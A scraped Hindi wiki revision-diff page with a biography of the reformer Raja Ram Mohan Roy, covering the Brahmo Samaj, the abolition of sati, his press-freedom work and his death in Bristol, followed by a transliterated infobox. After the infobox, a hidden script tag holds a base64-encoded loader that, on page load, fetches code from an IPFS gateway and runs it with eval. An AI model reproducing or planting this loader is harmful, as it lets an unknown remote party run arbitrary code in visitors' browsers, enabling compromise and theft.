Difference between revisions of "राजा राममोहन राय"
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| − | == | + | |चित्र=Raja-Rammohana-Roy-2.jpg |
| − | धार्मिक और सामाजिक विकास के क्षेत्र में राजा राममोहन राय का नाम सबसे अग्रणी है। राजा राम मोहन राय ने तत्कालीन भारतीय समाज की कट्टरता, रूढ़िवादिता एवं अंध | + | |चित्र का नाम=राजा राममोहन राय |
| − | ==युवावस्था में ही खंडन== | + | |पूरा नाम=राजा राममोहन राय |
| − | जब वे मुश्किल से 15 वर्ष के थे, तब उन्होंने बंगाल में एक छोटी सी पुस्तिका लिखी थी, जिसमें उन्होंने मूर्तिपूजा का खंडन किया था, जिसके सम्बंध में उनका कहना था कि वह [[वेद|वेदों]] में नहीं है। नवयुवक राममोहन को इसके लिए बहुत कष्ट उठाने पड़े। उन्हें कट्टरवादी परिवार से निकाल दिया गया और उन्हें देश निकाले के रूप में अपना जीवन व्यतीत करना पड़ा। तथापि उन्होंने | + | |अन्य नाम= |
| − | + | |जन्म=[[22 मई]], 1772 | |
| − | + | |जन्म भूमि=[[अखण्डित बंगाल|बंगाल]], [[भारत]] | |
| − | + | |मृत्यु=[[27 सितम्बर]], 1833 | |
| − | 1805 में राजा राममोहन राय बंगाल में अंग्रेज़ी [[ईस्ट इंडिया कम्पनी]] की सेवा में सम्मलित हुए और 1814 तक वे इसी कार्य में लगे रहे। नौकरी से अवकाश प्राप्त करके वे [[कलकत्ता]] में स्थायी रूप से रहने लगे और उन्होंने पूर्ण रूप से अपने को जनता की सेवा में लगाया। | + | |मृत्यु स्थान=[[इंग्लैंड]] |
| − | + | |अभिभावक=रमाकांत रय | |
| − | अपने सब कार्यों में राजा राममोहन राय को स्वदेश प्रेम, अशिक्षितों और निर्धनों के लिए अत्यधिक सहानुभूति की भावना थी। अंग्रेज़ों के विरुद्ध सशस्त्र विद्रोह के सम्भव होने के कारण उन्होंने अपने देशवासियों में राजनीतिक जागृति की भावना को प्रोत्साहित करने के लिए जनमत को शिक्षित किया। उन्होंने सम्भव उपायों से लोगों की नैतिक उन्नति के यथासम्भव प्रयत्न किए। | + | |पति/पत्नी=उमा देवी |
| − | + | |संतान= | |
| − | ==हिन्दू कॉलेज की स्थापना में योगदान== | + | |गुरु= |
| + | |कर्म भूमि=[[भारत]] | ||
| + | |कर्म-क्षेत्र=समाज सुधारक | ||
| + | |मुख्य रचनाएँ= | ||
| + | |विषय= | ||
| + | |खोज= | ||
| + | |भाषा=[[अरबी भाषा|अरबी]], [[फ़ारसी भाषा|फ़ारसी]], [[अंग्रेज़ी]], ग्रीक, हिब्रू (इब्रानी) आदि। | ||
| + | |विद्यालय= | ||
| + | |पुरस्कार-उपाधि= | ||
| + | |प्रसिद्धि=[[वेदान्त]] के ऊपर [[अंग्रेज़ी]] में लिखकर उन्होंने [[यूरोप]] तथा [[अमेरिका]] में भी बहुत प्रसिद्धि अर्जित की। | ||
| + | |विशेष योगदान=[[सती प्रथा|सतीप्रथा]] का निवारण, भारतीय समाज की कट्टरता, रूढ़िवादिता एवं अंध विश्वासों को दूर करके उसे आधुनिक बनाने का प्रयास किया। | ||
| + | |नागरिकता=भारतीय | ||
| + | |संबंधित लेख= | ||
| + | |शीर्षक 1= | ||
| + | |पाठ 1= | ||
| + | |शीर्षक 2=स्थापना | ||
| + | |पाठ 2=[[ब्रह्मसमाज]], यूनीटेरियन एसोसिएशन, हिन्दू कॉलेज | ||
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| + | |अन्य जानकारी=राजा राममोहन राय ने [[समाचार पत्र|समाचार पत्रों]] की स्वतंत्रता के लिए भी कड़ा संघर्ष किया था। उन्होंने स्वयं एक बंगाली पत्रिका 'सम्वाद-कौमुदी' आरम्भ की और उसका सम्पादन भी किया | ||
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| + | }} | ||
| + | '''राजा राममोहन राय''' ([[अंग्रेज़ी]]: ''Raja Ram Mohan Roy'', जन्म: [[22 मई]], 1772; मृत्यु: [[27 सितम्बर]], 1833) को 'आधुनिक भारतीय समाज का जन्मदाता' कहा जाता है। वे [[ब्रह्म समाज]] के संस्थापक, भारतीय भाषायी प्रेस के प्रवर्तक, जनजागरण और सामाजिक सुधार आंदोलन के प्रणेता तथा [[अखण्डित बंगाल|बंगाल]] में नव-जागरण युग के पितामह थे। धार्मिक और सामाजिक विकास के क्षेत्र में राजा राममोहन राय का नाम सबसे अग्रणी है। राजा राम मोहन राय ने तत्कालीन भारतीय समाज की कट्टरता, रूढ़िवादिता एवं अंध विश्वासों को दूर करके उसे आधुनिक बनाने का प्रयास किया। | ||
| + | ==जीवन परिचय== | ||
| + | ====जन्म==== | ||
| + | राजा राममोहन राय का जन्म 22 मई, 1772 ई. को राधा नगर नामक [[अखण्डित बंगाल|बंगाल]] के एक [[गाँव]] में, पुराने विचारों से सम्पन्न बंगाली [[ब्राह्मण]] [[परिवार]] में हुआ था। उन्होंने अपने जीवन में [[अरबी भाषा|अरबी]], [[फ़ारसी भाषा|फ़ारसी]], [[अंग्रेज़ी]], ग्रीक, हिब्रू आदि भाषाओं का अध्ययन किया था। [[हिन्दू धर्म|हिन्दू]], [[ईसाई धर्म|ईसाई]], [[इस्लाम धर्म|इस्लाम]] और [[सूफ़ी मत|सूफ़ी धर्म]] का भी उन्होंने गम्भीर अध्ययन किया था। 17 वर्ष की अल्पायु में ही वे मूर्ति पूजा विरोधी हो गये थे। वे अंग्रेज़ी भाषा और सभ्यता से काफ़ी प्रभावित थे। उन्होंने [[इंग्लैंड]] की यात्रा की। धर्म और समाज सुधार उनका मुख्य लक्ष्य था। वे ईश्वर की एकता में विश्वास करते थे और सभी प्रकार के धार्मिक अंधविश्वास और कर्मकांडों के विरोधी थे। अपने विचारों को उन्होंने लेखों और पुस्तकों में प्रकाशित करवाया। किन्तु [[हिन्दू]] और [[ईसाई]] प्रचारकों से उनका काफ़ी संघर्ष हुआ, परन्तु वे जीवन भर अपने विचारों का समर्थन करते रहे और उनके प्रचार के लिए उन्होंने [[ब्रह्मसमाज]] की स्थापना की। | ||
| + | ====युवावस्था में ही मूर्तिपूजा खंडन==== | ||
| + | जब वे मुश्किल से 15 वर्ष के थे, तब उन्होंने बंगाल में एक छोटी सी पुस्तिका लिखी थी, जिसमें उन्होंने मूर्तिपूजा का खंडन किया था, जिसके सम्बंध में उनका कहना था कि- "वह [[वेद|वेदों]] में नहीं है।" नवयुवक राममोहन को इसके लिए बहुत कष्ट उठाने पड़े। उन्हें कट्टरवादी परिवार से निकाल दिया गया और उन्हें देश निकाले के रूप में अपना जीवन व्यतीत करना पड़ा। तथापि उन्होंने ईश्वर प्रदत्त परिस्थितियों से पूर्ण लाभ उठाया। उन्होंने दूर दूर तक यात्राएं की और इस प्रकार बहुत सा ज्ञान और अनुभव संचित किया। राममोहन राय को मूर्तिपूजा एवं परम्पराओं के विरोध के कारण अपना घर भी छोड़ना पड़ा था। उन्होंने तिब्बत यात्रा की तो उनके क्रान्तिकारी विचारों के कारण वहाँ के लामा भी उनके विरोधी हो गये। वे [[अरबी भाषा|अरबी]] और [[फ़ारसी भाषा|फ़ारसी]] पहले से ही जानते थे, अब उन्होंने [[संस्कृत]] की भी योग्यता प्राप्त कर ली। उन्होंने अंग्रेज़ी, फ्रेंच, लैटिन, हिब्रू और ग्रीक का भी कुछ ज्ञान प्राप्त कर लिया। [[एकेश्वरवाद|एकेश्वरवादी]] राममोहन राय ने [[जैन]], इस्लाम आदि धर्मों का अध्ययन किया था। वे संसार के महत्त्वपूर्ण धर्मग्रंथों का मूल रूप में अध्ययन करने में समर्थ थे। इस कारण वे संसार के सब महत्त्वपूर्ण धर्मों की तुलना करने में सफल हो गये। विश्वधर्म की उनकी धारणा किन्हीं संश्लिष्ट सिद्धांतों पर आधारित नहीं थी, अपितु विभिन्न धर्मों के गम्भीर ज्ञान पर ही आधारित थी। उन्होंने [[वेद|वेदों]] और [[उपनिषद|उपनिषदों]] का [[बांग्ला भाषा|बंगला]] अनुवाद किया। [[वेदान्त]] के ऊपर अंग्रेज़ी में लिखकर उन्होंने [[यूरोप]] तथा [[अमेरिका]] में भी बहुत ख्याति अर्जित की। | ||
| + | ==महान समाज सुधारक== | ||
| + | ====ब्रह्मसमाज की स्थापना==== | ||
| + | {{Main|ब्रह्मसमाज}} | ||
| + | राजा राममोहन राय आधुनिक शिक्षा के समर्थक थे तथा उन्होंने गणित एवं [[विज्ञान]] पर अनेक लेख तथा पुस्तकें लिखीं। 1821 में उन्होंने 'यूनीटेरियन एसोसिएशन' की स्थापना की। हिन्दू समाज की कुरीतियों के घोर विरोधी होने के कारण 1828 में उन्होंने 'ब्रह्म समाज' नामक एक नये प्रकार के समाज की स्थापना की। 1805 में राजा राममोहन राय बंगाल में अंग्रेज़ी [[ईस्ट इंडिया कम्पनी]] की सेवा में सम्मलित हुए और 1814 तक वे इसी कार्य में लगे रहे। नौकरी से अवकाश प्राप्त करके वे [[कलकत्ता]] में स्थायी रूप से रहने लगे और उन्होंने पूर्ण रूप से अपने को जनता की सेवा में लगाया। 1814 में उन्होंने आत्मीय सभा को आरम्भ किया। [[20 अगस्त]], 1828 में उन्होंने ब्रह्मसमाज की स्थापना की। 1831 में एक विशेष कार्य के सम्बंध में [[दिल्ली]] के [[मुग़ल]] सम्राट के पक्ष का समर्थन करने के लिए इंग्लैंड गये। वे उसी कार्य में व्यस्त थे कि ब्रिस्टल में [[27 सितंबर]], 1833 को उनका देहान्त हो गया। '''उन्हें [[मुग़ल]] सम्राट की ओर से 'राजा' की उपाधि दी गयी।''' अपने सब कार्यों में राजा राममोहन राय को स्वदेश प्रेम, अशिक्षितों और निर्धनों के लिए अत्यधिक सहानुभूति की भावना थी। अंग्रेज़ों के विरुद्ध सशस्त्र विद्रोह के सम्भव होने के कारण उन्होंने अपने देशवासियों में राजनीतिक जागृति की भावना को प्रोत्साहित करने के लिए जनमत को शिक्षित किया। उन्होंने सम्भव उपायों से लोगों की नैतिक उन्नति के यथासम्भव प्रयत्न किए। | ||
| + | ====हिन्दू कॉलेज की स्थापना में योगदान==== | ||
वे अपने समय के सबसे बड़े प्राच्य भाषों के ज्ञाताओं में से एक थे। उनका विश्वास था कि भारत की प्रगति केवल उदार शिक्षा के द्वारा होगी, जिसमें पाश्चात्य विद्या तथा ज्ञान की सभी शाखाओं की शिक्षण व्यवस्था हो। उन्होंने ऐसे लोगों का पूर्ण समर्थन किया, जिन्होंने अंग्रेज़ी भाषा तथा पश्चिमी विज्ञान के अध्ययन का [[भारत]] में आरम्भ किया और वे अपने प्रयत्नों में सफल भी हुए। उन्होंने हिन्दू कॉलेज की स्थापना में सहायता दी। यह संस्था उन दिनों की सर्वाधिक आधुनिक संस्था थी। | वे अपने समय के सबसे बड़े प्राच्य भाषों के ज्ञाताओं में से एक थे। उनका विश्वास था कि भारत की प्रगति केवल उदार शिक्षा के द्वारा होगी, जिसमें पाश्चात्य विद्या तथा ज्ञान की सभी शाखाओं की शिक्षण व्यवस्था हो। उन्होंने ऐसे लोगों का पूर्ण समर्थन किया, जिन्होंने अंग्रेज़ी भाषा तथा पश्चिमी विज्ञान के अध्ययन का [[भारत]] में आरम्भ किया और वे अपने प्रयत्नों में सफल भी हुए। उन्होंने हिन्दू कॉलेज की स्थापना में सहायता दी। यह संस्था उन दिनों की सर्वाधिक आधुनिक संस्था थी। | ||
| − | + | ====धार्मिक सुधारक==== | |
| − | ==समाचार | + | [[चित्र:Raja-Rammohana-Roy-1.jpg|thumb|राजा राममोहन राय]] |
| − | राजा राममोहन राय ने समाचार पत्रों की स्वतंत्रता के लिए भी संघर्ष | + | राजा राममोहन राय एक धार्मिक सुधारक तथा सत्य के अन्वेषक थे। सभी धर्मों के अध्ययन से वे इस परिणाम पर पंहुचे कि सभी धर्मों में अद्वैतवाद सम्बधी सिद्धांतों का प्रचलन है। मुसलमान उन्हें मुसलमान समझते थे, ईसाई उन्हें ईसाई समझते थे, अद्वैतवादी उन्हें अद्वैतवाती मानते थे तथा हिन्दू उन्हें वेदान्ती स्वीकार करते थे। वे सब धर्मों की मौलिक सत्यता तथा एकता में विश्वास करते थे। |
| + | ====समाचार पत्रों की स्वतंत्रता के लिये संघर्ष==== | ||
| + | [[अंग्रेज़]] [[ईसाई मिशनरी]] ने [[अंग्रेज़ी भाषा]] में 'फ्रेंड ऑफ़ इण्डिया' नामक एक पत्र जारी किया था। इसी वर्ष गंगाधर भट्टाचार्य ने 'बंगाल समाचार' का प्रकाशन शुरू किया। [[बंगाल]] में एक उदारवादी पत्र 'केलकटा जर्नल' जेम्स सिल्क बकिंधम ने अक्टूबर सन् 1818 ई. में शुरू किया। सन् 1821 ई. में ताराचंद्र दंत और भवानी चरण बंधोपाध्याय ने [[बंगाली भाषा]] में साप्ताहिक पत्र 'संवाद कौमुदी' निकाला, लेकिन दिसंबर 1821 ई. में भवानी चरण ने संपादक पद से त्याग पत्र दे दिया, तो उसका भार राजा राममोहन राय ने संभाला। अप्रैल 1822 ई. में राजा राममोहन राय ने [[फ़ारसी भाषा]] में एक साप्ताहिक अख़बार 'मिरात-उल-अख़बार' नाम से शुरू किया, जो [[भारत]] में पहला फ़ारसी अख़बार था। साम्राज्यवादी ब्रिटिश सरकार को राजा राममोहन राय के धार्मिक वाचिर और [[इंग्लैण्ड]] की आयलैंड विरोधी निति को आलोचना पसंद नहीं आई। परिणामस्वरूप सरकार ने प्रेस की स्वतंत्रता पर प्रतिबंध लगाने के लिए अध्यादेश जारी किया, जिसके विरोध में राजा राममोहन राय ने 'मिरात-उल-अख़बार' का प्रकाशन बंद कर दिया। | ||
| + | [[चित्र:Raja-ram-mohan-ray-stamp.jpg|thumb|left|राजा राममोहन राय के सम्मान में जारी [[डाक टिकट]]]] | ||
| + | राजा राममोहन राय ने [[समाचार पत्र|समाचार पत्रों]] की स्वतंत्रता के लिए भी कड़ा संघर्ष किया था। उन्होंने स्वयं एक बंगाली पत्रिका 'सम्वाद-कौमुदी' आरम्भ की और उसका सम्पादन भी किया। यह पत्रिका भारतीयों द्वारा सम्पादित सबसे पुरानी पत्रिकाओं में से थी। उन्होंने 1833 ई. के समाचारपत्र नियमों के विरुद्ध प्रबल आन्दोलन चलाया। उन्होंने सर्वोच्च न्यायालय को एक स्मृति-पत्र दिया, जिसमें उन्होंने समाचार पत्रों की स्वतंत्रता के लाभों पर अपने विचार प्रकट किए थे। समाचार पत्रों की स्वतंत्रता के लिए उनके द्वारा चलाये गये आन्दोलन के द्वारा ही 1835 ई. में समाचार पत्रों की अज़ादी के लिए मार्ग बना। | ||
==सती प्रथा हटाने को आन्दोलन== | ==सती प्रथा हटाने को आन्दोलन== | ||
| − | [[चित्र:Raja-Rammohana-Roy-3.jpg|thumb|राजा राममोहन राय | + | {{Main|सती प्रथा}} |
| + | [[चित्र:Raja-Rammohana-Roy-3.jpg|thumb|राजा राममोहन राय]] | ||
राजा राम मोहन राय के जीवन की सबसे बड़ी उपलब्धि थी - सती प्रथा का निवारण। उन्होंने ही अपने अथक प्रयासों से सरकार द्वारा इस कुप्रथा को ग़ैर-क़ानूनी दंण्डनीय घोषित करवाया। | राजा राम मोहन राय के जीवन की सबसे बड़ी उपलब्धि थी - सती प्रथा का निवारण। उन्होंने ही अपने अथक प्रयासों से सरकार द्वारा इस कुप्रथा को ग़ैर-क़ानूनी दंण्डनीय घोषित करवाया। | ||
| − | राजा राममोहन राय ने सती प्रथा को मिटाने के लिए प्रयत्न किया। उन्होंने इस अमानवीय प्रथा के विरुद्ध निरन्तर आन्दोलन चलाया। यह आन्दोलन समाचार पत्रों तथा मंच दोनों माध्यमों से चला। इसका विरोध इतना अधिक था कि एक अवसर पर तो उनका जीवन ही खतरे में था। वे अपने शत्रुओं के हमले से कभी नहीं घबराये। उनके पूर्ण और निरन्तर समर्थन का ही प्रभाव था, जिसके कारण लॉर्ड विलियम बैंण्टिक 1829 में | + | राजा राममोहन राय ने सती प्रथा को मिटाने के लिए प्रयत्न किया। उन्होंने इस अमानवीय प्रथा के विरुद्ध निरन्तर आन्दोलन चलाया। यह आन्दोलन समाचार पत्रों तथा मंच दोनों माध्यमों से चला। इसका विरोध इतना अधिक था कि एक अवसर पर तो उनका जीवन ही खतरे में था। वे अपने शत्रुओं के हमले से कभी नहीं घबराये। '''उनके पूर्ण और निरन्तर समर्थन का ही प्रभाव था, जिसके कारण लॉर्ड विलियम बैंण्टिक 1829 में सती प्रथा को बन्द कराने में समर्थ हो सके।''' जब कट्टर लोगों ने [[इंग्लैंड]] में 'प्रिवी कॉउन्सिल' में प्रार्थना पत्र प्रस्तुत किया, तब उन्होंने भी अपने प्रगतिशील मित्रों और साथी कार्यकर्ताओं की ओर से ब्रिटिश संसद के सम्मुख अपना विरोधी प्रार्थना पत्र प्रस्तुत किया। उन्हें प्रसन्नता हुई जब 'प्रिवी कॉउन्सिल' ने 'सती प्रथा' के समर्थकों के प्रार्थना पत्र को अस्वीकृत कर दिया। सती प्रथा के मिटने से राजा राममोहन राय संसार के मानवतावादी सुधारकों की सर्वप्रथम पंक्ति में आ गये। |
| + | ==विदेश में प्रथम भारतीय== | ||
| + | 1831 से 1834 तक अपने इंग्लैंड प्रवास काल में राममोहन जी ने ब्रिटिश भारत की प्राशासनिक पद्धति में सुधार के लिए आन्दोलन किया। ब्रिटिश संसद के द्वारा भारतीय मामलों पर परामर्श लिए जाने वाले वे '''प्रथम भारतीय''' थे। हाउस ऑफ कॉमन्स की प्रवर समिति के समक्ष अपना साक्ष्य देते हुए उन्होंने भारतीय प्राशासन की प्राय: सभी शाखाओं के सम्बंध में अपने सुझाव दिया। राममोहन जी के राजनीतिक विचार बेकन, ह्यूम,बैंथम, ब्लैकस्टोन और मॉन्टेस्क्यू जैसे यूरोपीय दार्शनिकों से प्रभावित थे। उन्होंने अंतर्राष्ट्रीय विवादों के शान्तिपूर्वक निबटारे के सम्बंध में [[कांग्रेस]] के माध्यम से सुझाव प्रस्तुत किया, जिसमें सम्बंधित देशों की संसदों से सदस्य लिए जाने का निश्चय हुआ। | ||
| + | ==मृत्यु== | ||
| + | [[चित्र:Ram-Mohan-Roy-statue-Bristol-England.jpg|thumb|250px|राजा राममोहन राय की प्रतिमा, ब्रिस्टल, [[ब्रिटेन]]]] | ||
| + | [[27 सितम्बर]], 1833 में [[इंग्लैंड]] में राजा राममोहन राय की मृत्यु हो गई। | ||
| + | ====ब्रिटेन में भव्य समाधि==== | ||
| + | [[ब्रिटेन]] के ब्रिस्टल नगर के आरनोस वेल क़ब्रिस्तान में राजा राममोहन राय की समाधि है। [[27 सितंबर]] [[2013]] को उनकी 180वीं पुण्यतिथि थी। बहुत ही कम लोगों को ज्ञात होगा कि यात्रा के मध्य मेनिनजाईटिस हो जाने के कारण यहाँ ब्रिटेन में ही उनका अप्रत्याशित निधन हो गया था। उस [[युग]] में ब्रिटेन में दाह-संस्कार की अनुमति नहीं थी, अतः उनके शव को भूमि में यों ही दबा / समाहित कर दिया गया था। वह समाधि तब से धूल-धूसरित, टूटी-फूटी, अज्ञात, उपेक्षित व बुरे हाल में पड़ी थी। एक भारतीय [[पारसी]] से [[विवाह]] करने वाली अंग्रेज़ महिला 'कार्ला कॉन्ट्रैक्टर' ने इसके जीर्णोद्धार का बीड़ा उठाया। [[कोलकाता]] के एक व्यवसायी व तत्कालीन मेयर के सहयोग से 5 वर्ष पूर्व ही उन्होंने इसका पुनरुद्धार करवाया और इसे एक भव्य समाधि का रूप दिया। कार्ला के प्रयासों से ही हाथीदाँत से बनी राजा की एक दुर्लभ मूर्ति को भी समाधि-भवन में सँजो कर रखा गया है। [[27 सितंबर]], [[2013]] को ब्रिस्टल में राजा राममोहन राय की उसी समाधि पर श्रद्धांजलि सभा आयोजित की गई। स्मरणीय है कि ब्रिस्टल नगर में एक प्रमुख स्थान पर चमकीले काले पत्थर से बनी राजा राममोहन राय की लगभग दो मंजिला ऊँचाई की एक प्रतिमा भी स्थापित है, जिसमें में वे पुस्तकें हाथ में पकड़े खड़े हैं।<ref>{{cite web |url=https://www.facebook.com/kvachaknavee?fref=ts&ref=br_tf |title=राजा राममोहन राय पुण्य तिथि |accessmonthday=30 सितम्बर |accessyear=2013 |last=वाचक्नवी |first=डॉ. कविता |authorlink= |format= |publisher=फ़ेसबुक |language=हिंदी }}</ref> | ||
| + | ==राजा जी के बाद ब्रह्मसमाज== | ||
| + | राजा राममोहन राय की मृत्यु के बाद [[ब्रह्मसमाज]] धीरे धीरे कई शाखाओं में बँट गया। [[देवेन्द्रनाथ टैगोर|महर्षि देवेन्द्रनाथ टैगोर]] ने 'आदि ब्रह्म समाज', श्री [[केशवचन्द्र सेन|केशवचन्द्रसेन]] ने 'भारतीय ब्रह्मसमाज' की और उनके पश्चात् 'साधारण ब्रह्म समाज', की स्थापना हुई। ब्रह्मसमाज के विचारों के समान ही डॉ. आत्माराम पाण्डुरंग ने [[1867]] में [[महाराष्ट्र]] में '[[प्रार्थना समाज]]' की स्थापना की जिसे आर. जी. भण्डारकर और [[महादेव गोविन्द रानाडे]] जैसे व्यक्तियों का समर्थन प्राप्त हुआ। इस प्रकार ब्रह्मसमाज यद्यपि विभिन्न शाखाओं में विभक्त हो गया, परन्तु उसका मूल आधार एक ही था। सभी का उद्देश्य हिन्दू समाज और [[हिन्दू धर्म]] का सुधार करना था और सभी ने [[ईसाई धर्म]] और पश्चिमी सभ्यता से प्रभावित होते हुए भी हिन्दू धार्मिक ग्रंथों, मुख्यतया [[वेद|वेदों]] को ही अपना मुख्य आधार बनाया था। | ||
| + | ==गूगल डूडल== | ||
| + | [[चित्र:Raja-Ram-Mohan-Roy-Google-Doodle.jpg|thumb|250px|राजा राममोहन राय पर जारी गूगल डूडल]] | ||
| + | [[गूगल]] ने अपने चिरपरिचित अंदाज में [[मंगलवार]] ([[22 मई]], [[2018]]) को डूडल बनाकर महान समाज सुधारक [[राजा राम मोहन राय]] को याद किया है। 22 मई, 2018 को राजा राम मोहन राय का 246वां जन्मदिन है। राजा राम मोहन राय को देश में 'आधुनिक भारत के निर्माता' और 'पुनर्जागरण काल के जनक' के तौर पर जाना जाता है। उन्होंने 19वीं सदी में समाज सुधार के लिए कई बड़े आंदोलन चलाए, जिनमें [[सती प्रथा]] को खत्म करना सबसे अहम है। गूगल ने समाज के लिए किए गए उनके योगदान के चलते डूडल बनाकर उन्हें सलाम किया है। | ||
| + | |||
| − | + | राजा राम मोहन राय की याद में बनाए गए गूगल डूडल को बीना मिस्त्री ने बनाया है। बीना टोरंटो की डिज़ाइनर हैं। गूगल डूडल में राजा राम मोहन राय को एक किताब पकड़े हुए दिखाया गया है, जिनके आसपास कुछ लोग खड़े हैं। | |
| − | + | ==विद्वानों की राय में राजा राममोहन राय== | |
| − | == | + | विद्वानों की राय में राजा राममोहन राय को नये [[युग]] का अग्रदूत ठीक ही कहा गया है। |
| − | |||
| − | राजा राममोहन राय | ||
| − | ==विद्वानों की राय में | ||
| − | |||
*मोनियर विलियम के अनुसार, राजा महोदय सम्भवत: तुलनात्मक धर्मशास्त्र के प्रथम सच्चे अन्वेषक थे। | *मोनियर विलियम के अनुसार, राजा महोदय सम्भवत: तुलनात्मक धर्मशास्त्र के प्रथम सच्चे अन्वेषक थे। | ||
*सील (Seal) के अनुसार, राजा विश्व मानवता के विचार के संदेशवाहक थे। वे मानवतावादी, पवित्र तथा सरल थे। वे विश्व इतिहास में विश्व मानवता के दिग्दर्शन करते थे। | *सील (Seal) के अनुसार, राजा विश्व मानवता के विचार के संदेशवाहक थे। वे मानवतावादी, पवित्र तथा सरल थे। वे विश्व इतिहास में विश्व मानवता के दिग्दर्शन करते थे। | ||
| − | *मिस कोलेट के कथनानुसार, इतिहास में राममोहन राय ऐसे जीवित पुल के समान हैं, जिस पर भारत अपने अपरिमित भूतकाल से अपने अपरिमित भविष्य की ओर चलता है। वे एक ऐसे वृत खंड थे, जो प्राचीन जातिवाद तथा अर्वाचीन मानवता, अंधविश्वास तथा विज्ञान, अनियन्त्रित सत्ता तथा प्रजातंत्र, स्थिर | + | *मिस कोलेट के कथनानुसार, इतिहास में राममोहन राय ऐसे जीवित पुल के समान हैं, जिस पर भारत अपने अपरिमित भूतकाल से अपने अपरिमित भविष्य की ओर चलता है। वे एक ऐसे वृत खंड थे, जो प्राचीन जातिवाद तथा अर्वाचीन मानवता, अंधविश्वास तथा विज्ञान, अनियन्त्रित सत्ता तथा प्रजातंत्र, स्थिर रिवाज तथा अनुदार प्रगति, भयावने अनेक देवताओं में विश्वास तथा पवित्र, यद्यपि अस्पष्ट आस्तिकता के बीच की खाई को ढके हुए थे। |
*नन्दलाल चटर्जी के अनुसार, राजा राममोहन राय अविनष्ट भूतकाल और उदित होते हुए भविष्य, स्थिर अनुदारता तथा क्रांतिकारी सुधार, अंध परम्परागत पृथकता तथा प्रगतिशील एकता के मध्य मानव सम्बंध स्थापित करने वाले थे। संक्षेप में वे प्रतिक्रिया तथा प्रगति के मध्य बिंदु थे। | *नन्दलाल चटर्जी के अनुसार, राजा राममोहन राय अविनष्ट भूतकाल और उदित होते हुए भविष्य, स्थिर अनुदारता तथा क्रांतिकारी सुधार, अंध परम्परागत पृथकता तथा प्रगतिशील एकता के मध्य मानव सम्बंध स्थापित करने वाले थे। संक्षेप में वे प्रतिक्रिया तथा प्रगति के मध्य बिंदु थे। | ||
| − | *[[रवीन्द्रनाथ टैगोर]] के अनुसार, राममोहन राय ने भारत में आधुनिक युग का सूत्रपात किया। | + | *[[रवीन्द्रनाथ टैगोर]] के अनुसार, राममोहन राय ने [[भारत]] में आधुनिक युग का सूत्रपात किया। उन्हें भारतीय पुनर्जागरण का पिता तथा भारतीय राष्ट्रवाद का प्रवर्तक भी कहा जाता है उनके धार्मिक और सामाजिक सब विचारों के पीछे अपने देशवासियों की राजनीतिक उन्नति करने की भावना मौजूद रहती थी। वे आगे लिखते हैं कि मुझे यह खेदपूर्वक कहना पड़ता है कि हिन्दुओं की वर्तमान पद्धति उनके राजनीतिक हितों की दृष्टि से ठीक नहीं है। जात पात के भाव ने उन्हें राजनीतिक भावना में शून्य कर दिया है। सैकड़ों हज़ारों धार्मिक कृत्यों और शुद्धता के नियमों ने उन्हें कोई भी कठिन काम करने के अयोग्य बना दिया है। मैं समझता हूँ कि यह आवश्यक है कि उनके राजनीतिक लाभ और सामाजिक सुविधा के लिए उनके धर्म में कुछ परिवर्तन हो। |
| − | उन्हें भारतीय पुनर्जागरण का पिता तथा भारतीय राष्ट्रवाद का प्रवर्तक भी कहा जाता है उनके धार्मिक और सामाजिक सब विचारों के पीछे अपने देशवासियों की राजनीतिक उन्नति करने की भावना मौजूद रहती थी। वे आगे लिखते हैं कि मुझे यह खेदपूर्वक कहना पड़ता है कि हिन्दुओं की वर्तमान पद्धति उनके राजनीतिक हितों की दृष्टि से ठीक नहीं है। जात पात के भाव ने उन्हें राजनीतिक भावना में शून्य कर दिया है। सैकड़ों हज़ारों धार्मिक कृत्यों और शुद्धता के नियमों ने उन्हें कोई भी कठिन काम करने के अयोग्य बना दिया है। मैं समझता हूँ कि यह आवश्यक है कि उनके राजनीतिक लाभ और सामाजिक सुविधा के लिए | + | |
| − | == | + | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} |
| − | + | ==टीका टिप्पणी और संदर्भ== | |
| − | == | + | <references/> |
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==संबंधित लेख== | ==संबंधित लेख== | ||
| − | {{ | + | {{समाज सुधारक}} |
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Revision as of 05:58, 22 May 2018
raja ramamohan ray
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| poora nam | raja ramamohan ray |
| janm | 22 mee, 1772 |
| janm bhoomi | bangal, bharat |
| mrityu | 27 sitambar, 1833 |
| mrityu sthan | ianglaiand |
| abhibhavak | ramakaant ray |
| pati/patni | uma devi |
| karm bhoomi | bharat |
| karm-kshetr | samaj sudharak |
| bhasha | arabi, farasi, aangrezi, grik, hibroo (ibrani) adi. |
| prasiddhi | vedant ke oopar aangrezi mean likhakar unhoanne yoorop tatha amerika mean bhi bahut prasiddhi arjit ki. |
| vishesh yogadan | satipratha ka nivaran, bharatiy samaj ki kattarata, roodhivadita evan aandh vishvasoan ko door karake use adhunik banane ka prayas kiya. |
| nagarikata | bharatiy |
| sthapana | brahmasamaj, yooniteriyan esosieshan, hindoo k aaulej |
| any janakari | raja ramamohan ray ne samachar patroan ki svatantrata ke lie bhi k da sangharsh kiya tha. unhoanne svayan ek bangali patrika 'samvad-kaumudi' arambh ki aur usaka sampadan bhi kiya |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
raja ramamohan ray (aangrezi: Raja Ram Mohan Roy, janm: 22 mee, 1772; mrityu: 27 sitambar, 1833) ko 'adhunik bharatiy samaj ka janmadata' kaha jata hai. ve brahm samaj ke sansthapak, bharatiy bhashayi pres ke pravartak, janajagaran aur samajik sudhar aandolan ke praneta tatha bangal mean nav-jagaran yug ke pitamah the. dharmik aur samajik vikas ke kshetr mean raja ramamohan ray ka nam sabase agrani hai. raja ram mohan ray ne tatkalin bharatiy samaj ki kattarata, roodhivadita evan aandh vishvasoan ko door karake use adhunik banane ka prayas kiya.
jivan parichay
janm
